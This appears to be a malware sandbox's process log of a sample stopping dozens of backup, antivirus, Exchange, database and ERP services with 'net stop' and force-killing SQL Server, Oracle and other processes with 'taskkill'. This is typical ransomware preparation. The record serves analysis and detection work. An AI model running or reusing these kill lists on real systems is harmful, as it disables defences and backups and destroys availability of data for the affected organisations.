C:\Windows\system32\net.exenet stop U8WorkerService15⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop U8WorkerService16⤵
-
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop CASMsgSrv6⤵
-
-
-
C:\Windows\system32\net.exenet stop U8WorkerService25⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop U8WorkerService26⤵
-
-
-
C:\Windows\system32\net.exenet stop "memcached Server"5⤵
-
-
C:\Windows\system32\net.exenet stop Apache2.45⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop Apache2.46⤵
-
-
-
C:\Windows\system32\net.exenet stop UFIDAWebService5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop UFIDAWebService6⤵
-
-
-
C:\Windows\system32\net.exenet stop MSComplianceAudit5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSComplianceAudit6⤵
-
-
-
C:\Windows\system32\net.exenet stop MSExchangeADTopology5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSExchangeADTopology6⤵
-
-
-
C:\Windows\system32\net.exenet stop MSExchangeAntispamUpdate5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSExchangeAntispamUpdate6⤵
-
-
-
C:\Windows\system32\net.exenet stop MSExchangeCompliance5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSExchangeCompliance6⤵
-
-
-
C:\Windows\system32\net.exenet stop MSExchangeDagMgmt5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSExchangeDagMgmt6⤵
-
-
-
C:\Windows\system32\net.exenet stop MSExchangeDelivery5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSExchangeDelivery6⤵
-
-
-
C:\Windows\system32\net.exenet stop MSExchangeDiagnostics5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSExchangeDiagnostics6⤵
-
-
-
C:\Windows\system32\net.exenet stop MSExchangeEdgeSync5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSExchangeEdgeSync6⤵
-
-
-
C:\Windows\system32\net.exenet stop MSExchangeFastSearch5⤵
-
-
C:\Windows\system32\net.exenet stop MSExchangeFrontEndTransport5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSExchangeFrontEndTransport6⤵
-
-
-
C:\Windows\system32\net.exenet stop MSExchangeHM5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSExchangeHM6⤵
-
-
-
C:\Windows\system32\net.exenet stop MSSQL$SQL20085⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSSQL$SQL20086⤵
-
-
-
C:\Windows\system32\net.exenet stop MSExchangeHMRecovery5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSExchangeHMRecovery6⤵
-
-
-
C:\Windows\system32\net.exenet stop MSExchangeImap45⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSExchangeImap46⤵
-
-
-
C:\Windows\system32\net.exenet stop MSExchangeIMAP4BE5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSExchangeIMAP4BE6⤵
-
-
-
C:\Windows\system32\net.exenet stop MSExchangeIS5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSExchangeIS6⤵
-
-
-
C:\Windows\system32\net.exenet stop MSExchangeMailboxAssistants5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSExchangeMailboxAssistants6⤵
-
-
-
C:\Windows\system32\net.exenet stop MSExchangeMailboxReplication5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSExchangeMailboxReplication6⤵
-
-
-
C:\Windows\system32\net.exenet stop MSExchangeNotificationsBroker5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSExchangeNotificationsBroker6⤵
-
-
-
C:\Windows\system32\net.exenet stop MSExchangePop35⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSExchangePop36⤵
-
-
-
C:\Windows\system32\net.exenet stop MSExchangePOP3BE5⤵
-
-
C:\Windows\system32\net.exenet stop MSExchangeRepl5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSExchangeRepl6⤵
-
-
-
C:\Windows\system32\net.exenet stop MSExchangeRPC5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSExchangeRPC6⤵
-
-
-
C:\Windows\system32\net.exenet stop MSExchangeServiceHost5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSExchangeServiceHost6⤵
-
-
-
C:\Windows\system32\net.exenet stop MSExchangeSubmission5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSExchangeSubmission6⤵
-
-
-
C:\Windows\system32\net.exenet stop MSExchangeThrottling5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSExchangeThrottling6⤵
-
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop pcas6⤵
-
-
-
C:\Windows\system32\net.exenet stop MSExchangeTransport5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSExchangeTransport6⤵
-
-
-
C:\Windows\system32\net.exenet stop MSExchangeTransportLogSearch5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSExchangeTransportLogSearch6⤵
-
-
-
C:\Windows\system32\net.exenet stop MSExchangeUM5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSExchangeUM6⤵
-
-
-
C:\Windows\system32\net.exenet stop MSExchangeUMCR5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSExchangeUMCR6⤵
-
-
-
C:\Windows\system32\net.exenet stop MySQL5_OA5⤵
-
-
-
C:\Windows\system32\cmd.execmd /c "color a & @net stop HaoZipSvc & @net stop "igfxCUIService2.0.0.0" & @net stop Realtek11nSU & @net stop xenlite & @net stop XenSvc & @net stop Apache2.2 & @net stop "Synology Drive VSS Service x64" & @net stop DellDRLogSvc & @net stop FirebirdGuardianDeafaultInstance & @net stop JWEM3DBAUTORun & @net stop JWRinfoClientService & @net stop JWService & @net stop Service2 & @net stop RapidRecoveryAgent & @net stop FirebirdServerDefaultInstance & @net stop AdobeARMservice & @net stop VeeamCatalogSvc & @net stop VeeanBackupSvc & @net stop VeeamTransportSvc & @net stop TPlusStdAppService1300 & @net stop TPlusStdTaskService1300 & @net stop TPlusStdUpgradeService1300 & @net stop TPlusStdWebService1300 & @net stop VeeamNFSSvc & @net stop VeeamDeploySvc & @net stop VeeamCloudSvc & @net stop VeeamMountSvc & @net stop VeeamBrokerSvc & @net stop VeeamDistributionSvc & @net stop tmlisten & @net stop ServiceMid & @net stop 360EntPGSvc & @net stop ClickToRunSvc & @net stop RavTask & @net stop AngelOfDeath & @net stop d_safe & @net stop NFLicenceServer & @net stop "NetVault Process Manager" & @net stop RavService & @net stop DFServ & @net stop IngressMgr & @net stop EvtSys & @net stop K3ClouManager & @net stop NFVPrintServer & @net stop RTCAVMCU & @net stop CobianBackup10 & @net stop GNWebService & @net stop Mysoft.SchedulingService & @net stop AgentX & @net stop SentinelKeysServer & @net stop DGPNPSEV & @net stop TurboCRM70 & @net stop NFSysService & @net stop U8DispatchService & @net stop NFOTPService & @net stop U8EISService & @net stop U8EncryptService & @net stop U8GCService & @net stop U8KeyManagePool & @net stop U8MPool & @net stop U8SCMPool & @net stop U8SLReportService & @net stop U8TaskService & @net stop U8WebPool & @net stop UFAllNet & @net stop UFReportService & @net stop UTUService"4⤵
-
C:\Windows\system32\net.exenet stop HaoZipSvc5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop HaoZipSvc6⤵
-
-
-
C:\Windows\system32\net.exenet stop "igfxCUIService2.0.0.0"5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "igfxCUIService2.0.0.0"6⤵
-
-
-
C:\Windows\system32\net.exenet stop Realtek11nSU5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop Realtek11nSU6⤵
-
-
-
C:\Windows\system32\net.exenet stop xenlite5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop xenlite6⤵
-
-
-
C:\Windows\system32\net.exenet stop XenSvc5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop XenSvc6⤵
-
-
-
C:\Windows\system32\net.exenet stop Apache2.25⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop Apache2.26⤵
-
-
-
C:\Windows\system32\net.exenet stop "Synology Drive VSS Service x64"5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "Synology Drive VSS Service x64"6⤵
-
-
-
C:\Windows\system32\net.exenet stop DellDRLogSvc5⤵
-
-
C:\Windows\system32\net.exenet stop FirebirdGuardianDeafaultInstance5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop FirebirdGuardianDeafaultInstance6⤵
-
-
-
C:\Windows\system32\net.exenet stop JWEM3DBAUTORun5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop JWEM3DBAUTORun6⤵
-
-
-
C:\Windows\system32\net.exenet stop JWRinfoClientService5⤵
-
-
C:\Windows\system32\net.exenet stop JWService5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop JWService6⤵
-
-
-
C:\Windows\system32\net.exenet stop Service25⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop Service26⤵
-
-
-
C:\Windows\system32\net.exenet stop RapidRecoveryAgent5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop RapidRecoveryAgent6⤵
-
-
-
C:\Windows\system32\net.exenet stop FirebirdServerDefaultInstance5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop FirebirdServerDefaultInstance6⤵
-
-
-
C:\Windows\system32\net.exenet stop AdobeARMservice5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop AdobeARMservice6⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSExchangePOP3BE7⤵
-
-
-
-
C:\Windows\system32\net.exenet stop VeeamCatalogSvc5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop VeeamCatalogSvc6⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "OracleOraDb10g_homeliSQL*Plus"7⤵
-
-
-
-
C:\Windows\system32\net.exenet stop VeeanBackupSvc5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop VeeanBackupSvc6⤵
-
-
-
C:\Windows\system32\net.exenet stop VeeamTransportSvc5⤵
-
-
C:\Windows\system32\net.exenet stop TPlusStdAppService13005⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop TPlusStdAppService13006⤵
-
-
-
C:\Windows\system32\net.exenet stop TPlusStdTaskService13005⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop TPlusStdTaskService13006⤵
-
-
-
C:\Windows\system32\net.exenet stop TPlusStdUpgradeService13005⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop TPlusStdUpgradeService13006⤵
-
-
-
C:\Windows\system32\net.exenet stop TPlusStdWebService13005⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop TPlusStdWebService13006⤵
-
-
-
C:\Windows\system32\net.exenet stop VeeamNFSSvc5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop VeeamNFSSvc6⤵
-
-
-
C:\Windows\system32\net.exenet stop VeeamDeploySvc5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop VeeamDeploySvc6⤵
-
-
-
C:\Windows\system32\net.exenet stop VeeamCloudSvc5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop VeeamCloudSvc6⤵
-
-
-
C:\Windows\system32\net.exenet stop VeeamMountSvc5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop VeeamMountSvc6⤵
-
-
-
C:\Windows\system32\net.exenet stop VeeamDistributionSvc5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop VeeamDistributionSvc6⤵
-
-
-
C:\Windows\system32\net.exenet stop VeeamBrokerSvc5⤵
-
-
C:\Windows\system32\net.exenet stop tmlisten5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop tmlisten6⤵
-
-
-
C:\Windows\system32\net.exenet stop ServiceMid5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop ServiceMid6⤵
-
-
-
C:\Windows\system32\net.exenet stop 360EntPGSvc5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop 360EntPGSvc6⤵
-
-
-
C:\Windows\system32\net.exenet stop ClickToRunSvc5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop ClickToRunSvc6⤵
-
-
-
C:\Windows\system32\net.exenet stop RavTask5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop RavTask6⤵
-
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop DGPNPSEV6⤵
-
-
-
C:\Windows\system32\net.exenet stop AngelOfDeath5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop AngelOfDeath6⤵
-
-
-
C:\Windows\system32\net.exenet stop d_safe5⤵
-
-
C:\Windows\system32\net.exenet stop NFLicenceServer5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop NFLicenceServer6⤵
-
-
-
C:\Windows\system32\net.exenet stop "NetVault Process Manager"5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "NetVault Process Manager"6⤵
-
-
-
C:\Windows\system32\net.exenet stop RavService5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop RavService6⤵
-
-
-
C:\Windows\system32\net.exenet stop DFServ5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop DFServ6⤵
-
-
-
C:\Windows\system32\net.exenet stop IngressMgr5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop IngressMgr6⤵
-
-
-
C:\Windows\system32\net.exenet stop EvtSys5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop EvtSys6⤵
-
-
-
C:\Windows\system32\net.exenet stop K3ClouManager5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop K3ClouManager6⤵
-
-
-
C:\Windows\system32\net.exenet stop NFVPrintServer5⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop NFVPrintServer6⤵
-
-
-
C:\Windows\system32\net.exenet stop RTCAVMCU5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop RTCAVMCU6⤵
-
-
-
C:\Windows\system32\net.exenet stop CobianBackup105⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop CobianBackup106⤵
-
-
-
C:\Windows\system32\net.exenet stop GNWebService5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop GNWebService6⤵
-
-
-
C:\Windows\system32\net.exenet stop Mysoft.SchedulingService5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop Mysoft.SchedulingService6⤵
-
-
-
C:\Windows\system32\net.exenet stop AgentX5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop AgentX6⤵
-
-
-
C:\Windows\system32\net.exenet stop SentinelKeysServer5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SentinelKeysServer6⤵
-
-
-
C:\Windows\system32\net.exenet stop DGPNPSEV5⤵
-
-
C:\Windows\system32\net.exenet stop TurboCRM705⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop TurboCRM706⤵
-
-
-
C:\Windows\system32\net.exenet stop NFSysService5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop NFSysService6⤵
-
-
-
C:\Windows\system32\net.exenet stop U8DispatchService5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop U8DispatchService6⤵
-
-
-
C:\Windows\system32\net.exenet stop NFOTPService5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop NFOTPService6⤵
-
-
-
C:\Windows\system32\net.exenet stop U8EISService5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop U8EISService6⤵
-
-
-
C:\Windows\system32\net.exenet stop U8EncryptService5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop U8EncryptService6⤵
-
-
-
C:\Windows\system32\net.exenet stop U8GCService5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop U8GCService6⤵
-
-
-
C:\Windows\system32\net.exenet stop U8KeyManagePool5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop U8KeyManagePool6⤵
-
-
-
C:\Windows\system32\net.exenet stop U8MPool5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop U8MPool6⤵
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\net.exenet stop U8SCMPool5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop U8SCMPool6⤵
-
-
-
C:\Windows\system32\net.exenet stop U8SLReportService5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop U8SLReportService6⤵
-
-
-
C:\Windows\system32\net.exenet stop U8TaskService5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop U8TaskService6⤵
-
-
-
C:\Windows\system32\net.exenet stop U8WebPool5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop U8WebPool6⤵
-
-
-
C:\Windows\system32\net.exenet stop UFAllNet5⤵
-
-
C:\Windows\system32\net.exenet stop UFReportService5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop UFReportService6⤵
-
-
-
C:\Windows\system32\net.exenet stop UTUService5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop UTUService6⤵
-
-
-
-
C:\Windows\system32\cmd.execmd /c "color a & @net stop UIODetect & @net stop VMwareHostd & @net stop TeamViewer8 & @net stop VMUSBArbService & @net stop VMAuthdService & @net stop wanxiao-monitor & @net stop WebAttendServer & @net stop mysqltransport & @net stop VMnetDHCP & @net stop "VMware NAT Service" & @net stop Tomcat8 & @net stop TeamViewer & @net stop QPCore & @net stop CASLicenceServer & @net stop CASWebServer & @net stop AutoUpdateService & @net stop "Alibaba Security Aegis Detect Service" & @net stop "Alibaba Security Aegis Update Service" & @net stop "AliyunService" & @net stop CASXMLService & @net stop AGSService & @net stop RapService & @net stop DDNSService & @net stop iNethinkSQLBackupSvc & @net stop CASVirtualDiskService & @net stop CASMsgSrv & @net stop "OracleOraDb10g_homeliSQL*Plus" & @net stop OracleDBConsoleilas & @net stop MySQL & @net stop TPlusStdAppService1220 & @net stop TPlusStdTaskService1220 & @net stop TPlusStdUpgradeService1220 & @net stop K3MobileServiceManage & @net stop "FileZilla Server" & @net stop DDVRulesProcessor & @net stop ImtsEventSvr & @net stop AutoUpdatePatchService & @net stop OMAILREPORT & @net stop "Dell Hardware Support" & @net stop SupportAssistAgent & @net stop K3MMainSuspendService & @net stop KpService & @net stop ceng_web_svc_d & @net stop KugouService & @net stop pcas & @net stop U8SendMailAdmin & @net stop "Bonjour Service" & @net stop "Apple Mobile Device Service" & @net stop "ABBYY.Licensing.FineReader.Professional.12.0""4⤵
-
C:\Windows\system32\net.exenet stop UIODetect5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop UIODetect6⤵
-
-
-
C:\Windows\system32\net.exenet stop VMwareHostd5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop VMwareHostd6⤵
-
-
-
C:\Windows\system32\net.exenet stop TeamViewer85⤵
- Discovers systems in the same network
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop TeamViewer86⤵
-
-
-
C:\Windows\system32\net.exenet stop VMUSBArbService5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop VMUSBArbService6⤵
-
-
-
C:\Windows\system32\net.exenet stop VMAuthdService5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop VMAuthdService6⤵
-
-
-
C:\Windows\system32\net.exenet stop wanxiao-monitor5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop wanxiao-monitor6⤵
-
-
-
C:\Windows\system32\net.exenet stop WebAttendServer5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop WebAttendServer6⤵
-
-
-
C:\Windows\system32\net.exenet stop mysqltransport5⤵
-
-
C:\Windows\system32\net.exenet stop VMnetDHCP5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop VMnetDHCP6⤵
-
-
-
C:\Windows\system32\net.exenet stop "VMware NAT Service"5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "VMware NAT Service"6⤵
-
-
-
C:\Windows\system32\net.exenet stop Tomcat85⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop Tomcat86⤵
-
-
-
C:\Windows\system32\net.exenet stop TeamViewer5⤵
- Discovers systems in the same network
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop TeamViewer6⤵
-
-
-
C:\Windows\system32\net.exenet stop QPCore5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop QPCore6⤵
-
-
-
C:\Windows\system32\net.exenet stop CASLicenceServer5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop CASLicenceServer6⤵
-
-
-
C:\Windows\system32\net.exenet stop CASWebServer5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop CASWebServer6⤵
-
-
-
C:\Windows\system32\net.exenet stop AutoUpdateService5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop AutoUpdateService6⤵
-
-
-
C:\Windows\system32\net.exenet stop "Alibaba Security Aegis Detect Service"5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "Alibaba Security Aegis Detect Service"6⤵
-
-
-
C:\Windows\system32\net.exenet stop "Alibaba Security Aegis Update Service"5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "Alibaba Security Aegis Update Service"6⤵
-
-
-
C:\Windows\system32\net.exenet stop "AliyunService"5⤵
-
-
C:\Windows\system32\net.exenet stop CASXMLService5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop CASXMLService6⤵
-
-
-
C:\Windows\system32\net.exenet stop AGSService5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop AGSService6⤵
-
-
-
C:\Windows\system32\net.exenet stop RapService5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop RapService6⤵
-
-
-
C:\Windows\system32\net.exenet stop DDNSService5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop DDNSService6⤵
-
-
-
C:\Windows\system32\net.exenet stop iNethinkSQLBackupSvc5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop iNethinkSQLBackupSvc6⤵
-
-
-
C:\Windows\system32\net.exenet stop CASVirtualDiskService5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop CASVirtualDiskService6⤵
-
-
-
C:\Windows\system32\net.exenet stop CASMsgSrv5⤵
-
-
C:\Windows\system32\net.exenet stop "OracleOraDb10g_homeliSQL*Plus"5⤵
-
-
C:\Windows\system32\net.exenet stop OracleDBConsoleilas5⤵
-
-
C:\Windows\system32\net.exenet stop MySQL5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MySQL6⤵
-
-
-
C:\Windows\system32\net.exenet stop TPlusStdAppService12205⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop TPlusStdAppService12206⤵
-
-
-
C:\Windows\system32\net.exenet stop TPlusStdTaskService12205⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop TPlusStdTaskService12206⤵
-
-
-
C:\Windows\system32\net.exenet stop TPlusStdUpgradeService12205⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop TPlusStdUpgradeService12206⤵
-
-
-
C:\Windows\system32\net.exenet stop K3MobileServiceManage5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop K3MobileServiceManage6⤵
-
-
-
C:\Windows\system32\net.exenet stop "FileZilla Server"5⤵
-
-
C:\Windows\system32\net.exenet stop DDVRulesProcessor5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop DDVRulesProcessor6⤵
-
-
-
C:\Windows\system32\net.exenet stop ImtsEventSvr5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop ImtsEventSvr6⤵
-
-
-
C:\Windows\system32\net.exenet stop AutoUpdatePatchService5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop AutoUpdatePatchService6⤵
-
-
-
C:\Windows\system32\net.exenet stop OMAILREPORT5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop OMAILREPORT6⤵
-
-
-
C:\Windows\system32\net.exenet stop "Dell Hardware Support"5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "Dell Hardware Support"6⤵
-
-
-
C:\Windows\system32\net.exenet stop SupportAssistAgent5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SupportAssistAgent6⤵
-
-
-
C:\Windows\system32\net.exenet stop K3MMainSuspendService5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop K3MMainSuspendService6⤵
-
-
-
C:\Windows\system32\net.exenet stop KpService5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop KpService6⤵
-
-
-
C:\Windows\system32\net.exenet stop ceng_web_svc_d5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop ceng_web_svc_d6⤵
-
-
-
C:\Windows\system32\net.exenet stop KugouService5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop KugouService6⤵
-
-
-
C:\Windows\system32\net.exenet stop pcas5⤵
-
-
C:\Windows\system32\net.exenet stop U8SendMailAdmin5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop U8SendMailAdmin6⤵
-
-
-
C:\Windows\system32\net.exenet stop "Bonjour Service"5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "Bonjour Service"6⤵
-
-
-
C:\Windows\system32\net.exenet stop "Apple Mobile Device Service"5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "Apple Mobile Device Service"6⤵
-
-
-
C:\Windows\system32\net.exenet stop "ABBYY.Licensing.FineReader.Professional.12.0"5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "ABBYY.Licensing.FineReader.Professional.12.0"6⤵
-
-
-
-
C:\Windows\system32\cmd.execmd /c "color e & @taskkill /IM sqlservr.exe /F & @taskkill /IM httpd.exe /F & @taskkill /IM java.exe /F & @taskkill /IM fdhost.exe /F & @taskkill /IM fdlauncher.exe /F & @taskkill /IM reportingservicesservice.exe /F & @taskkill /IM softmgrlite.exe /F & @taskkill /IM sqlbrowser.exe /F & @taskkill /IM ssms.exe /F & @taskkill /IM vmtoolsd.exe /F & @taskkill /IM baidunetdisk.exe /F & @taskkill /IM yundetectservice.exe /F & @taskkill /IM ssclient.exe /F & @taskkill /IM GNAupdaemon.exe /F & @taskkill /IM RAVCp164.exe /F & @taskkill /IM igfxEM.exe /F & @taskkill /IM igfxHK.exe /F & @taskkill /IM igfxTray.exe /F & @taskkill /IM 360bdoctor.exe /F & @taskkill /IM GNCEFExternal.exe /F & @taskkill /IM PrivacyIconClient.exe /F & @taskkill /IM UIODetect.exe /F & @taskkill /IM AutoDealService.exe /F & @taskkill /IM IDDAService.exe /F & @taskkill /IM EnergyDataService.exe /F & @taskkill /IM MPService.exe /F & @taskkill /IM TransMain.exe /F & @taskkill /IM DAService.exe /F & @taskkill /IM GoogleCrashHandler.exe /F & @taskkill /IM GoogleCrashHandler64.exe /F & @taskkill /IM GoogleUpdate.exe /F & @taskkill /IM cohernece.exe /F & @taskkill /IM vmware-tray.exe /F & @taskkill /IM MsDtsSrvr.exe /F & @taskkill /IM msmdsrv.exe /F & @taskkill /IM "FileZilla server.exe" /F & @taskkill /IM UpdateData.exe /F & @taskkill /IM WebApi.Host.exe /F & @taskkill /IM VGAuthService.exe /F & @taskkill /IM omtsreco.exe /F & @taskkill /IM TNSLSNR.exe /F & @taskkill /IM oracle.exe /F & @taskkill /IM msdtc.exe /F & @taskkill /IM mmc.exe /F & @taskkill /IM emagent.exe /F & @taskkill /IM SoftMgrLite.exe /F & @taskkill /IM UIODetect.exe /F & @taskkill /IM AutoDealService.exe /F & @taskkill /IM Admin.exe /F & @taskkill /IM IDDAService.exe /F & @taskkill /IM EnergyDataService.exe /F & @taskkill /IM EnterprisePortal.exe /F & @taskkill /IM MPService.exe /F & @taskkill /IM TransMain.exe /F & @taskkill /IM DAService.exe /F & @taskkill /IM tomcat7.exe /F & @taskkill /IM cohernece.exe /F & @taskkill /IM vmware-tray.exe /F & @taskkill /IM MsDtsSrvr.exe /F & @taskkill /IM Kingdee.K3.CRM.MMC.MMCService.exe /F & @taskkill /IM Kingdee.k3.Weixin.ClientService.exe /F & @taskkill /IM Kingdee.K3.PUBLIC.BkgSvcHost.exe /F & @taskkill /IM Kingdee.K3.HR.Server.exe /F & @taskkill /IM Kingdee.K3.PUBLIC.KDSvrMgrHost.exe /F & @taskkill /IM tomcat5.exe /F & 